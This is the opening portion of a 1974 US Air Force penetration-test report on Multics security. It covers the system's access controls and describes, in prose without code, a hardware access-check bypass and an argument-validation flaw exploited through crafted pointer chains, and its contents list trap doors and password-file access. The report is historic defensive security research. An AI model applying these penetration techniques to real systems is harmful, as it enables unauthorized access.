MULTICS SECURITY EVALUATION:
VULNERABILITY ANALYSIS

Paul A. Karger, 2Lt, USAF
Roger R. Schell, Major, USAF

June 1974

Approved for public release;
distribution unlimited.

INFORMATION SYSTEMS TECHNOLOGY APPLICATIONS OFFICE
DEPUTY FOR COMMAND AND MANAGEMENT SYSTEMS
ELECTRONIC SYSTEMS DIVISION (AFSC)
L. G. HANSCOM AFB, MA 01730
LEGAL NOTICE

When U.S. Government drawings, specifications or other data are used for any purpose other than a definitely related government procurement operation, the government thereby incurs no responsibility nor any obligation whatsoever; and the fact that the government may have formulated, furnished, or in any way supplied the said drawings, specifications, or other data is not to be regarded by implication or otherwise as in any manner licensing the holder or any other person or conveying any rights or permission to manufacture, use, or sell any patented invention that may in any way be related thereto.

OTHER NOTICES

Do not return this copy. Retain or destroy.

REVIEW AND APPROVAL

This technical report has been reviewed and is approved for publication.

ROBERT E. PARK, Lt Colonel, USAF
Chief, Computer Security Branch

JOHN J. SULLIVAN, Colonel, USAF
Chief, Techniques Engineering Division

FOR THE COMMANDER

ROBERT W. O'KEEFE, Colonel, USAF
Director, Information Systems
Technology Applications Office
Deputy for Command & Management Systems
**UNCLASSIFIED**

**SECURITY CLASSIFICATION OF THIS PAGE (When Date Entered)**

**REPORT DOCUMENTATION PAGE**

<table>
<thead>
<tr>
<th>1. REPORT NUMBER</th>
<th>2. GOVT ACCESSION NO.</th>
<th>3. RECIPIENT'S CATALOG NUMBER</th>
</tr>
</thead>
<tbody>
<tr>
<td>ESD-TR-74-193, Vol. II</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

4. **TITLE (and Subtitle)**

MULTICS SECURITY EVALUATION: VULNERABILITY ANALYSIS

5. **TYPE OF REPORT & PERIOD COVERED**

Final Report
March 1972 – June 1973

6. **PERFORMING ORG. REPORT NUMBER**

7. **AUTHOR(s)**

Paul A. Karger, 2Lt, USAF
Roger R. Schell, Major, USAF

8. **CONTRACT OR GRANT NUMBER(s)**

IN-HOUSE

9. **PERFORMING ORGANIZATION NAME AND ADDRESS**

Deputy for Command and Management Systems (MCI)
Electronic Systems Division (AFSC)
Hanscom AFB, MA 01730

10. **PROGRAM ELEMENT, PROJECT, TASK AREA & WORK UNIT NUMBERS**

Program Element 64708F
Project 6917

11. **CONTROLLING OFFICE NAME AND ADDRESS**

Hq Electronic Systems Division
Hanscom AFB, MA 01730

12. **REPORT DATE**

June 1974

13. **NUMBER OF PAGES**

156

14. **MONITORING AGENCY NAME & ADDRESS (if different from Controlling Office)**

15. **SECURITY CLASS. (of this report)**

UNCLASSIFIED

15a. **DECLASSIFICATION/DOWNGRADE SCHEDULE**

N/A

16. **DISTRIBUTION STATEMENT (of this Report)**

Approved for public release; distribution unlimited.

17. **DISTRIBUTION STATEMENT (of the abstract entered in Block 20, if different from Report)**

18. **SUPPLEMENTARY NOTES**

This is Volume II of a 4 Volume report: Multics Security Evaluation. The other volumes are entitled:

Vol. I: Results and Recommendations
Vol. III: Password and File Encryption Techniques
Vol. IV: Exemplary Performance under Demanding Workload

19. **KEY WORDS (Continue on reverse side if necessary and identify by block number)**

Access Control
Computer Security
Descriptor Based Processors
Hardware Access Control
Multics
Multi-level Systems
Operating System Vulnerabilities
Privacy
Protection
Reference Monitor

20. **ABSTRACT (Continue on reverse side if necessary and identify by block number)**

A security evaluation of Multics for potential use as a two-level (Secret/Top Secret) system in the Air Force Data Services Center (AFDSC) is presented. An overview is provided of the present implementation of the Multics Security controls. The report then details the results of a penetration exercise of Multics on the HIS 645 computer. In addition, preliminary results of a penetration exercise of Multics on the new HIS 6180 computer are presented. The report concludes that Multics as implemented today is not (Con't on reverse)
19. KEY WORDS

Secure Computer Systems
Security Kernels
Security Penetration
Security Testing
Segmentation
Time-sharing
Virtual Memory

20. ABSTRACT

certifiably secure and cannot be used in an open use multi-level system. However, the Multics security design principles are significantly better than other contemporary systems. Thus, Multics as implemented today, can be used in a benign Secret/Top Secret environment. In addition, Multics forms a base from which a certifiably secure open use multi-level system can be developed.
PREFACE

This is Volume II of a 4 volume report prepared for the Air Force Data Services Center (AFDSC) by the Information Systems Technology Applications Office, Deputy for Command and Management Systems, Electronic Systems Division (ESD/MCI). The entire report represents an evaluation and recommendation of the Honeywell Multics system carried out under Air Force Project 6917 from March 1972 to June 1973. Work proceeding after June 1973 is briefly summarized. Work described in this volume was performed by personnel at ESD/MCI with support from the MITRE Corporation. Computer facilities at the Rome Air Development Center and the Massachusetts Institute of Technology were used in the evaluation effort.
# TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>I INTRODUCTION</td>
<td>5</td>
</tr>
<tr>
<td>1.1 Status of Multi-level Security</td>
<td>5</td>
</tr>
<tr>
<td>1.2 Requirement for Multics Security Evaluation</td>
<td>5</td>
</tr>
<tr>
<td>1.3 Technical Requirements for Multi-level Security</td>
<td>6</td>
</tr>
<tr>
<td>1.3.1 Insecurity of Current Systems</td>
<td>6</td>
</tr>
<tr>
<td>1.3.2 Reference Monitor Concept</td>
<td>6</td>
</tr>
<tr>
<td>1.3.3 Hypothesis: Multics is &quot;Secureable&quot;</td>
<td>7</td>
</tr>
<tr>
<td>1.4 Sites Used</td>
<td>8</td>
</tr>
<tr>
<td>II MULTICS SECURITY CONTROLS</td>
<td>9</td>
</tr>
<tr>
<td>2.1 Hardware Security Controls</td>
<td>9</td>
</tr>
<tr>
<td>2.1.1 Segmentation Hardware</td>
<td>9</td>
</tr>
<tr>
<td>2.1.2 Master Mode</td>
<td>10</td>
</tr>
<tr>
<td>2.2 Software Security Controls</td>
<td>12</td>
</tr>
<tr>
<td>2.2.1 Protection Rings</td>
<td>12</td>
</tr>
<tr>
<td>2.2.2 Access Control Lists</td>
<td>13</td>
</tr>
<tr>
<td>2.2.3 Protected Access Identification</td>
<td>15</td>
</tr>
<tr>
<td>2.2.4 Master Mode Conventions</td>
<td>15</td>
</tr>
<tr>
<td>2.3 Procedural Security Controls</td>
<td>15</td>
</tr>
<tr>
<td>2.3.1 Enciphered Passwords</td>
<td>15</td>
</tr>
<tr>
<td>2.3.2 Login Audit Trail</td>
<td>16</td>
</tr>
<tr>
<td>2.3.3 Software Maintenance Procedures</td>
<td>16</td>
</tr>
<tr>
<td>III VULNERABILITY ANALYSIS</td>
<td>17</td>
</tr>
<tr>
<td>3.1 Approach Plan</td>
<td>17</td>
</tr>
<tr>
<td>3.2 Hardware Vulnerabilities</td>
<td>17</td>
</tr>
<tr>
<td>3.2.1 Random Failures</td>
<td>17</td>
</tr>
<tr>
<td>3.2.2 Execute Instruction Access Check Bypass</td>
<td>20</td>
</tr>
<tr>
<td>3.2.3 Preview of 6180 Hardware Vulnerabilities</td>
<td>22</td>
</tr>
<tr>
<td>3.3 Software Vulnerabilities</td>
<td>22</td>
</tr>
<tr>
<td>3.3.1 Insufficient Argument Validation</td>
<td>22</td>
</tr>
<tr>
<td>3.3.2 Master Mode Transfer</td>
<td>25</td>
</tr>
<tr>
<td>3.3.3 Unlocked Stack Base</td>
<td>30</td>
</tr>
<tr>
<td>3.3.4 Preview of 6180 Software Vulnerabilities</td>
<td>36</td>
</tr>
<tr>
<td>3.3.4.1 No Call Limiter Vulnerability</td>
<td>37</td>
</tr>
<tr>
<td>3.3.4.2 SLT-KST Dual SDW Vulnerability</td>
<td>37</td>
</tr>
<tr>
<td>3.3.4.3 Additional Vulnerabilities</td>
<td>38</td>
</tr>
</tbody>
</table>
3.4 Procedural Vulnerabilities

3.4.1 Dump and Patch Utilities

3.4.1.1 Use of Insufficient Argument Validation

3.4.1.2 Use of Unlocked Stack Base

3.4.1.3 Generation of New SDW's

3.4.2 Forging the Non-Forgeable User Identification

3.4.3 Accessing the Password File

3.4.3.1 Minimal Value of the Password File

3.4.3.2 The Multics Password File

3.4.4 Modifying Audit Trails

3.4.5 Trap Door Insertion

3.4.5.1 Classes of Trap Doors

3.4.5.2 Example of a Trap Door in Multics

3.4.6 Preview of 6180 Procedural Vulnerabilities

3.5 Manpower and Computer Costs

IV CONCLUSIONS

4.1 Multics is not Now Secure

4.2 Multics as a Base for a Secure System

4.2.1 A System for a Benign Environment

4.2.2 Long Term Open Secure System

References

Appendix

A Subverter Listing

B Unlocked Stack Base Listing

C Trap Door in check$device_name Listing

D Dump Utility Listing

E Patch Utility Listing

F Set Dates Utility Listing

Glossary
LIST OF FIGURES

<table>
<thead>
<tr>
<th>Figure</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Segmentation Hardware</td>
<td>11</td>
</tr>
<tr>
<td>2</td>
<td>SDW Format</td>
<td>12</td>
</tr>
<tr>
<td>3</td>
<td>Directory Hierarchy</td>
<td>14</td>
</tr>
<tr>
<td>4</td>
<td>Execute Instruction Bypass</td>
<td>21</td>
</tr>
<tr>
<td>5</td>
<td>Insufficient Argument Validation</td>
<td>24</td>
</tr>
<tr>
<td>6</td>
<td>Master Mode Source Code</td>
<td>28</td>
</tr>
<tr>
<td>7</td>
<td>Master Mode Interpreted Object Code</td>
<td>28</td>
</tr>
<tr>
<td>8</td>
<td>Store With Master Mode Transfer</td>
<td>29</td>
</tr>
<tr>
<td>9</td>
<td>Unlocked Stack Base (Step 1)</td>
<td>34</td>
</tr>
<tr>
<td>10</td>
<td>Unlocked Stack Base (Step 2)</td>
<td>35</td>
</tr>
<tr>
<td>11</td>
<td>Dump/Patch Utility Using Insufficient Argument Validation</td>
<td>41</td>
</tr>
<tr>
<td>12</td>
<td>Dump/Patch Utility Using Unlocked Stack Base</td>
<td>43</td>
</tr>
<tr>
<td>13</td>
<td>Trap Door in check$device_name</td>
<td>54</td>
</tr>
</tbody>
</table>

LIST OF TABLES

<table>
<thead>
<tr>
<th>Table</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Subverter Test Attempts</td>
<td>19</td>
</tr>
<tr>
<td>2</td>
<td>Base Register Pairing</td>
<td>31</td>
</tr>
<tr>
<td>3</td>
<td>Cost Estimates</td>
<td>57</td>
</tr>
</tbody>
</table>

NOTATION

References in parentheses (2) are to footnotes. References in angle brackets <AMD73> are to other documents listed at the end of this report.
SECTION I

INTRODUCTION

1.1 Status of Multi-Level Security

A major problem with computing systems in the military today is the lack of effective multi-level security controls. The term multi-level security controls means, in the most general case, those controls needed to process several levels of classified material from unclassified through compartmented top secret in a multi-processing multi-user computer system with simultaneous access to the system by users with differing levels of clearances. The lack of such effective controls in all of today's computer operating systems has led the military to operate computers in a closed environment in which systems are dedicated to the highest level of classified material and all users are required to be cleared to that level. Systems may be changed from level to level, but only after going through very time consuming clearing operations on all devices in the system. Such dedicated systems result in extremely inefficient equipment and manpower utilization and have often resulted in the acquisition of much more hardware than would otherwise be necessary. In addition, many operational requirements cannot be met by dedicated systems because of the lack of information sharing. It has been estimated by the Electronic Systems Division (ESD) sponsored Computer Security Technology Panel {AMD73} that these additional costs may amount to $100,000,000 per year for the Air Force alone.

1.2 Requirement for Multics Security Evaluation

This evaluation of the security of the Multics system was performed under Project 6917, Program Element 64708F to meet the requirements of the Air Force Data Services Center (AFDSC). AFDSC must provide responsive interactive time-shared computer services to users within the Pentagon at all classification levels from unclassified to top secret. AFDSC in particular did not wish to incur the expense of multiple computer systems nor the expense of encryption devices for remote terminals which would otherwise be processing only unclassified material. In a separate study completed in February 1972, the Information Systems Technology Applications Office, Electronic Systems Division (ESD/HCI) identified the Honeywell Multics system as a candidate to meet both
AFDSC's multi-level security requirements and highly responsive advanced interactive time-sharing requirements.

1.3 Technical Requirements for Multi-Level Security

The ESD-sponsored Computer Security Technology Planning Study <AND73> outlined the security weaknesses of present day computer systems and proposed a development plan to provide solutions based on current technology. A brief summary of the findings of the panel follows.

1.3.1 Insecurity of Current Systems

The internal controls of current computers repeatedly have been shown insecure through numerous penetration exercises on such systems as GCOS <AND71>, WWMCCS GCOS <ING73, JTSA73>, and IBM OS/360/370 <GON72>. This insecurity is a fundamental weakness of contemporary operating systems and cannot be corrected by "patches", "fix-ups", or "add-ons" to those systems. Rather, a fundamental reimplementation using an integrated hardware/software design which considers security as a fundamental requirement is necessary. In particular, steps must be taken to ensure the correctness of the security related portions of the operating system. It is not sufficient to use a team of experts to "test" the security controls of a system. Such a "tiger team" can only show the existence of vulnerabilities but cannot prove their non-existence.

Unfortunately, the managers of successfully penetrated computer systems are very reluctant to permit release of the details of the penetrations. Thus, most reports of penetrations have severe (and often unjustified) distribution restrictions leaving very few documents in the public domain. Concealment of such penetrations does nothing to deter a sophisticated penetrator and can in fact impede technical interchange and delay the development of a proper solution. A system which contains vulnerabilities cannot be protected by keeping those vulnerabilities secret. It can only be protected by the constraining of physical access to the system.

1.3.2 Reference Monitor Concept

The ESD Computer Security Technology Panel introduced the concept of a "reference monitor". This reference monitor is that hardware/software combination which must monitor all references by any program to any
data anywhere in the system to ensure that the security rules are followed. Three conditions must be met to ensure the security of a system based on a reference monitor.

a. The monitor must be tamper proof.

b. The monitor must be invoked for every reference to data anywhere in the system.

c. The monitor must be small enough to be proven correct.

The stated design goals of contemporary systems such as GCOS or OS/360 are to meet the first requirement (albeit unsuccessfully). The second requirement is generally not met by contemporary systems since they usually include "bypasses" to permit special software to operate or must suspend the reference monitor to provide addressability for the operating system in exercising its service functions. The best known of these is the bypass in OS/360 for the IBM supplied service aid, IMASPZAP (SUPERZAP). <IBM70> Finally and most important, current operating systems are so large, so complex, and so monolithic that one cannot begin to attempt a formal proof or certification of their correct implementation.

1.3.3 Hypothesis: Multics is "Secureable"

The computer security technology panel identified the general class of descriptor driven processors (1) as extremely useful to the implementation of a reference monitor. Multics, as the most sophisticated of the descriptor-driven systems currently available, was hypothesized to be a potentially secureable system; that is, the Multics design was sufficiently well-organized and oriented towards security that the concept of a reference monitor could be implemented for Multics without fundamental changes to the facilities seen by Multics users. In particular, the Multics ring mechanism could protect the monitor from malicious or inadvertent tampering, and the Multics segmentation could

(1) Descriptor driven processors use some form of address translation through hardware interpretation of descriptor words or registers. Such systems include the Burroughs 6700, the Digital Equipment Corp. PDP-11/45, the Data General Nova 840, the DEC KL-10, the HIS 6180, the IBM 370/158 and 168, and several others not listed here.
enforce monitor mediation on every reference to data. However, the question of certifiability had not as yet been addressed in Multics. Therefore the Multics vulnerability analysis described herein was undertaken to:

a. Examine Multics for potential vulnerabilities.
b. Identify whether a reference monitor was practical for Multics.
c. Identify potential interim enhancements to Multics to provide security in a benign (restricted access) environment.
d. Determine the scope and dimension of a certification effort.

1.4 Sites Used

The vulnerability analysis described herein was carried out on the HIS 645 Multics Systems installed at the Massachusetts Institute of Technology and at the Rome Air Development Center. As the HIS 6180, the new Multics processor, was not available at the time of this study, this report will describe results of analysis of the HIS 645 only. Since the completion of the analysis, work has started on an evaluation of the security controls of Multics on the HIS 6180. Preliminary results of the work on the HIS 6180 are very briefly summarized in this report, to provide an understanding of the value of the evaluation of the HIS 645 in the context of the new hardware environment.
SECTION II
MULTICS SECURITY CONTROLS

This section provides a brief overview of the basic Multics security controls to provide necessary background for the discussion of the vulnerability analysis. However, a rather thorough knowledge of the Multics implementation is assumed throughout the rest of this document. More complete background material may be found in Lipner <LIP74>, Saltzer <SAL73>, Organick <ORG72>, and the Multics Programmers' Manual <MPM73>.

The basic security controls of Multics fall into three major areas: hardware controls, software controls, and procedural controls. This overview will touch briefly on each of these areas.

2.1 Hardware Security Controls

2.1.1 Segmentation Hardware

The most fundamental security controls in the HIS 645 Multics are found in the segmentation hardware. The basic instruction set of the 645 can directly address up to 256K (2) distinct segments (3) at any one time, each segment being up to 256K words long. (4) Segments are broken up into 1K word pages (5) which can be moved between primary and secondary storage by software, creating a very large virtual memory. However, we will not treat paging throughout most of this evaluation as it is transparent to security. Paging must be implemented

(2) 1K = 1024 units.

(3) Current software table sizes restrict a process to about 1000 segments. However, by increasing these table sizes, the full hardware potential may be used.

(4) The 645 software restricted segments to 64K words for efficiency reasons.

(5) The 645 hardware also supports 64 word pages which were not used. The 6180 supports only a single page size which can be varied by field modification from 64 words to 4096 words. Initially, a size of 1024 words is being used. The supervisors on both the 645 and 6180 use unpaged segments of length 0 mod 64.
correctly in a secure system. However, bugs in page control are generally difficult to exploit in a penetration, because the user has little or no control over paging operations.

Segments are accessed by the 645 CPU through segment descriptor words (SDW's) that are stored in the descriptor segment (DSEG). (See Figure 1.) To access segment N, the 645 CPU uses a processor register, the descriptor segment base register (DBR), to find the DSEG. It then accesses the Nth SDW in the DSEG to obtain the address of the segment and the access rights currently in force on that segment for the current user.

Each SDW contains the absolute address of the page table for the segment and the access control information. (See Figure 2.) The last 6 bits of the SDW determine the access rights to the segment — read, execute, write, etc. (6) Using these access control bits, the supervisor can protect the descriptor segment from unauthorized modification by denying access in the SDW for the descriptor segment.

2.1.2 Master Mode

To protect against unauthorized modification of the DBR, the processor operates in one of two states — master mode and slave mode. In master mode any instruction may be executed and access control checks are inhibited. (7) In slave mode, certain instructions including those which modify the DBR are inhibited. Master mode procedure segments are controlled by the class field in the SDW. Slave mode procedures may transfer to master mode procedures only through word zero of the master mode procedure to prevent unrestricted invocation of privileged programs. It is then the responsibility of the master mode software to protect itself from malicious calls by placing suitable protective routines beginning at location zero.

(6) A more detailed description of the SDW format may be found in the 645 processor manual <AGB71>.

(7) The counterpart of master mode on the HIS 6180 called privileged mode does not inhibit access control checking.
Figure 1. Segmentation Hardware
2.2 Software Security Controls

The most outstanding feature of the Multics security controls is that they operate on a basis of "form" rather than the classical basis of "content". That is to say, the Multics controls are based on operations on a uniform population of well defined objects, as opposed to the classical controls which rely on anticipating all possible types of accesses and make security essentially a battle of wits.

2.2.1 Protection Rings

The primary software security control on the 645 Multics system is the ring mechanism. It was originally postulated as desirable to extend the traditional master/slave mode relationship of conventional machines to permit layering within the supervisor and within user code (see Graham <GRA68>). Eight concentric rings of protection, numbered 0 - 7, are defined with
higher numbered rings having less privilege than lower numbered rings, and with ring 0 containing the "hardcore" supervisor. (8) Unfortunately, the 645 CPU does not implement protection rings in hardware. (9) Therefore, the eight protection rings are implemented by providing eight descriptor segments for each process (user), one descriptor segment per ring. Special fault codes are placed in those SDW's which can be used for cross-ring transfers so that ring 0 software can intervene and accomplish the descriptor segment swap between the calling and called rings.

2.2.2 Access Control Lists

Segments in Multics are stored in a hierarchy of directories. A directory is a special type of segment that is not directly accessible to the user and provides a place to store names and other information about subordinate segments and directories. Each segment and directory has an access control list (ACL) in its parent directory entry controlling who may read (r), write (w), or execute (e) the segment or obtain status (s) of, modify (m) entries in, or append (a) entries to a directory. For example in Figure 3, the user Jones.Druid has read permission to segment ALPHA and has null access to segment BETA. However, Jones.Druid has modify permission to directory DELTA, so he can give himself access to segment BETA. Jones.Druid cannot give himself write access to segment ALPHA, because he does not have modify permission to directory GAMMA. In turn, the right to modify the access control lists of GAMMA and DELTA is controlled by the access control list of directory EPSILON, stored in the parent of EPSILON. Access control security checks for segments are enforced by the ring 0 software by setting the appropriate bits in the SDW at the time that a user attempts to add a segment to his address space.

(8) The original design called for 64 rings, but this was reduced to 8 in 1971.

(9) One of the primary enhancements of the HIS 6180 is the addition of ring hardware <SCHR72> and a consequent elimination of the need for master mode procedures in the user ring.
Figure 3. Directory Hierarchy
2.2.3 Protected Access Identification

In order to do access checking, the ring 0 software must have a protected, non-forgeryable identification of a user to compare with the ACL entries. This ID is established when a user signs on to Multics and is stored in the process data segment (PDS) which is accessible only in ring 0 or in master mode, so that the user may not tamper with the data stored in the PDS.

2.2.4 Master Mode Conventions

By convention, to protect master mode software, the original design specified that master mode procedures were not to be used outside ring 0. If the master mode procedure ran in the user ring, the master mode procedure itself would be forced to play the endless game of wits of the classical supervisor call. The master mode procedure would have to include code to check for all possible combinations of input arguments, rather than relying on a fundamental set of argument independent security controls. As an aid (or perhaps hindrance) to playing the game of wits, each master mode procedure must have a master mode pseudo-operation code assembled into location 0. The master mode pseudo-operation generates code to test an index register for a value corresponding to an entry point in the segment. If the index register is invalid, the master mode pseudo-operation code saves the registers for debugging and brings the system down.

2.3 Procedural Security Controls

2.3.1 Enciphered Passwords

When a user logs in to Multics, he types a password as his primary authentication. Of course, the access control list of the password file denies access to regular users of the system. In addition, as a protection against loss of a system dump which could contain the password file, all passwords are stored in a "non-invertible" cipher form. When a user types his password, it is enciphered and compared with the stored enciphered version for validity. Clear text passwords are
stored nowhere in the system.

2.3.2 Login Audit Trail

Each login and logout is carefully audited to check for attempts to guess valid user passwords. In addition, each user is informed of the date, time and terminal identification (if any) of last login to detect past compromises of the user's access rights. Further, the user is told the number of times his password has been given incorrectly since its last correct use.

2.3.3 Software Maintenance Procedures

The maintenance of the Multics software is carried out online on a dial-up Multics facility. A systems programmer prepares and nominally debugs his software for installation. He then submits his software to a library installer who copies and recompiles the source in a protected directory. The library installer then checks out the new software prior to installing it in the system source and object libraries. Ring 0 software is stored on a system tape that is reloaded into the system each time it is brought up. However, new system tapes are generated from online copies of the ring 0 software. The system libraries are protected against modification by the standard ACL mechanism. In addition, the library installers periodically check the date/time last modified of all segments in the library in an attempt to detect unauthorized modifications.
SECTION III
VULNERABILITY ANALYSIS

3.1 Approach Plan

It was hypothesized that although the fundamental design characteristics of Multics were sound, the implementation was carried out on an ad hoc basis and had security weaknesses in each of the three areas of security controls described in Section II - hardware, software, and procedures.

The analysis was to be carried out on a very limited basis with a less than one-half man month per month level of effort. Due to the manpower restrictions, a goal of one vulnerability per security control area was set. The procedure followed was to postulate a weakness in a general area, verify the weakness in the system, experiment with the weakness on the Rome Air Development Center (RADC) installation, and finally, using the resulting debugged penetration approach, exploit the weakness on the MIT installation.

An attempt was to be made to operate with the same type of ground rules under which a real agent would operate. That is, with each penetration, an attempt would be made to extract or modify sensitive system data without detection by the system maintenance or administrative personnel.

Several exploitations were successfully investigated. These included changing access fields in SDW's, changing protected identities in the PDS, inserting trap doors into the system libraries, and accessing the system password file.

3.2 Hardware Vulnerabilities

3.2.1 Random Failures

One area of significant concern in a system processing multi-level classified material is that of random hardware failures. As described in Section 2.1.1, the fundamental security of the system is dependent on the correct operation of the segmentation hardware. If this hardware is prone to error, potential security vulnerabilities become a significant problem.
To attempt a gross measure of the rate of security sensitive component failure, a procedure called the "subverter" was written to sample the security sensitive hardware on a frequent basis, testing for component failures which could compromise the security controls. The subverter was run in the background of an interactive process. Once each minute, the subverter received a timer interrupt and performed one test from the list described below. Assuming the test did not successfully violate security rules, the subverter would go to sleep for one minute before trying the next test. A listing of the subverter may be found in Appendix A.

The subverter was run for 1100 hours in a one year period on the MIT 645 system. The number of times each test was attempted is shown in Table 1. During the 1100 operating hours, no security sensitive hardware component failures were detected, indicating good reliability for the 645 security hardware. However, two interesting anomalies were discovered in the tests. First, one undocumented instruction (octal 471) was discovered on the 645. Experimentation indicated that the new instruction had no obvious impact on security, but merely seemed to store some internal register of no particular interest. The second anomaly was a design error resulting in an algorithmic failure of the hardware described in Section 3.2.2.
TABLE 1
Subverter Test Attempts
1100 Operating Hours

<table>
<thead>
<tr>
<th>Test Name</th>
<th># Attempts</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Clear Associative Memory</td>
<td>3526</td>
</tr>
<tr>
<td>2. Store Control Unit</td>
<td>3466</td>
</tr>
<tr>
<td>3. Load Timer Register</td>
<td>3444</td>
</tr>
<tr>
<td>4. Load Descriptor Base Register</td>
<td>3422</td>
</tr>
<tr>
<td>5. Store Descriptor Base Register</td>
<td>3403</td>
</tr>
<tr>
<td>6. Connect I/O Channel</td>
<td>3378</td>
</tr>
<tr>
<td>7. Delay Until Interrupt Signal</td>
<td>3359</td>
</tr>
<tr>
<td>8. Read Memory Controller Mask Register</td>
<td>3344</td>
</tr>
<tr>
<td>9. Set Memory Controller Mask Register</td>
<td>3328</td>
</tr>
<tr>
<td>10. Set Memory Controller Interrupt Cells</td>
<td>3309</td>
</tr>
<tr>
<td>11. Load Alarm Clock</td>
<td>3289</td>
</tr>
<tr>
<td>12. Load Associative Memory</td>
<td>3259</td>
</tr>
<tr>
<td>13. Store Associative Memory</td>
<td>3236</td>
</tr>
<tr>
<td>14. Restore Control Unit</td>
<td>3219</td>
</tr>
<tr>
<td>15. No Read Permission</td>
<td>3148</td>
</tr>
<tr>
<td>16. No Write Permission</td>
<td>3131</td>
</tr>
<tr>
<td>17. XED - No Read Permission</td>
<td>3113</td>
</tr>
<tr>
<td>18. XED - No Write Permission</td>
<td>3098</td>
</tr>
<tr>
<td>19. Tally Word Without Write Permission</td>
<td>3083</td>
</tr>
<tr>
<td>20. Bounds Fault &lt;64K</td>
<td>2398</td>
</tr>
<tr>
<td>21. Bounds Fault &gt;64K</td>
<td>2368</td>
</tr>
<tr>
<td>22. Illegal Opcodes</td>
<td>2108</td>
</tr>
</tbody>
</table>

Tests 1-14 are tests of master mode instructions. Tests 15 and 16 attempt simple violation of read and write permission as set on segment ACL's. Tests 17 and 18 are identical to 15 and 16 except that the faulting instructions are reached from an Execute Double instruction rather than normal instruction flow. Test 19 attempts to increment a tally word that is in a segment without write permission. Tests 20 and 21 take out of bounds faults on segments of zero length, forcing the supervisor to grow new page tables for them. Test 22 attempts execution of all the instructions marked illegal on the 645.
3.2.2 Execute Instruction Access Check Bypass

While experimenting with the hardware subverter, a sequence of code (10) was observed which would cause the hardware of the 645 to bypass access checking. Specifically, the execute instruction in certain cases described below would permit the executed instruction to access a segment for reading or writing without the corresponding permissions in the SDW.

This vulnerability occurred when the execute instruction was in certain restricted locations of a segment with at least read-execute (re) permission. (See Figure 4.) The execute instruction then referenced an object instruction in word zero of a second segment with at least R permission. The object instruction indirection through an ITS pointer in the first segment to access a word for reading or writing in a third segment. The third segment was required to be "active"; that is, to have an SDW pointing to a valid page table for the segment. If all these conditions were met precisely, the access control fields in the SDW of the third segment would be ignored and the object instruction permitted to complete without access checks.

The exact layout of instructions and indirect words was crucial. For example, if the object instruction used a base register rather than indirection through the segment containing the execute instruction (i.e., staq ar[0] rather than staq 6,*), then the access checks were done properly. Unfortunately, a complete schematic of the 645 was not available to determine the exact cause of the bypass. In informal communications with Honeywell, it was indicated that the error was introduced in a field modification to the 645 at MIT and was then made to all processors at all other sites.

This hardware bug represents a violation of one of the most fundamental rules of the Multics design—the checking of every reference to a segment by the hardware. This bug was not caused by fundamental design problems. Rather, it was caused by carelessness by the hardware engineering personnel.

(10) The subverter was designed to test sequences of code in which single failures could lead to security problems. Some of these sequences exercised relatively complex and infrequently used instruction modifications which experience had shown were prone to error.
Figure 4. Execute Instruction Bypass
No attempt was made to make a complete search for additional hardware design bugs, as this would have required logic diagrams for the 645. It was sufficient for this effort to demonstrate one vulnerability in this area.

3.2.3 Preview of 6180 Hardware Vulnerabilities

While no detailed look has been taken at the issue of hardware vulnerabilities on the 6180, the very first login of an ESD analyst to the 6180 inadvertently discovered a hardware vulnerability that crashed the system. The vulnerability was found in the Tally Word Without Write Permission test of the subverter. In this test, when the 6180 processor encountered the tally word without write permission, it signalled a "trouble" fault rather than an "access violation" fault. The "trouble" fault is normally signalled only when a fault occurs during the signalling of a fault. Upon encountering a "trouble" fault, the software normally brings the system down.

It should be noted that the HIS 6180 contains very new and complex hardware that, as of this publication, has not been completely "shaken down". Thus, Honeywell still quite reasonably expects to find hardware problems. However, the inadequacy of "testing" for security vulnerabilities applies equally well to hardware as to software. Simply "shaking down" the hardware cannot find all the possible vulnerabilities.

3.3 Software Vulnerabilities

Although the approach plan for the vulnerability analysis only called for locating one example of each class of vulnerability, three software vulnerabilities were identified as shown below. Again, the search was neither exhaustive nor systematic.

3.3.1 Insufficient Argument Validation

Because the 645 Multics system must simulate protection rings in software, there is no direct hardware validation of arguments passed in a subroutine call from a less privileged ring to a more privileged ring. Some form of validation is required, because a malicious user could call a ring 0 routine that stores information through a user supplied pointer. If the malicious user supplied a pointer to data to which ring 0 had write permission but to which the user ring did not, ring 0 could be "tricked"
into causing a security violation.

To provide validation, the 645 software ring crossing mechanism requires all gate segments (11) to declare to the "gatekeeper" the following information:

1. number of arguments expected
2. data type of each arguments
3. access requirements for each argument—read only or read/write.

This information is stored by convention in specified locations within the gate segment. (12) The "gatekeeper" invokes an argument validation routine that inspects the argument list being passed to the gate to ensure that the declared requirements are met. If any test fails, the argument validator aborts the call and signals the condition "gate_error" in the calling ring.

In February 1973, a vulnerability was identified in the argument validator that would permit the "fooling" of ring 0 programs. The argument validator's algorithm to validate read or read/write permission was as follows: First copy the argument list into ring 0 to prevent modification of the argument list by a process running on another CPU in the system while the first process is in ring 0 and has completed argument validation. Next, force indirection through each argument pointer to obtain the segment number of the target argument. Then look up the segment in the calling ring's descriptor segment to check for read or write permission.

The vulnerability is as follows: (See figure 5.) An argument pointer supplied by the user is constructed to contain an IDC modifier (increment address, decrement tally, and continue) that causes the first reference through the indirect chain to address a valid argument. This first reference is the one made by the

(11) A gate segment is a segment used to cross rings. It is identified by R2 and R3 of its ring brackets R1, R2, R3 being different. See Organick <ORG72> for a detailed description of ring brackets.

(12) For the convenience of authors of gates, a special "gate language" and "gate compiler" are provided to generate properly formatted gates. Using this language, the author of the gate can declare the data type and access requirement of each argument.
Figure 5. Insufficient Argument Validation
argument validator. The reference through the IDC modifier increments the address field of the tally word causing it to point to a different indirect word which in turn points to a different ITS pointer which points to an argument which is writable in ring 0 only. The second reference through this modified indirect chain is made by the ring 0 program which proceeds to write data where it shouldn't. (13)

This vulnerability resulted from violation of a basic rule of the Multics design - that all arguments to a more privileged ring be validated. The problem was not in the fundamental design - the concept of a software argument validator is sound given the lack of ring hardware. The problem was an ad hoc implementation of that argument validator which overlooked a class of argument pointers.

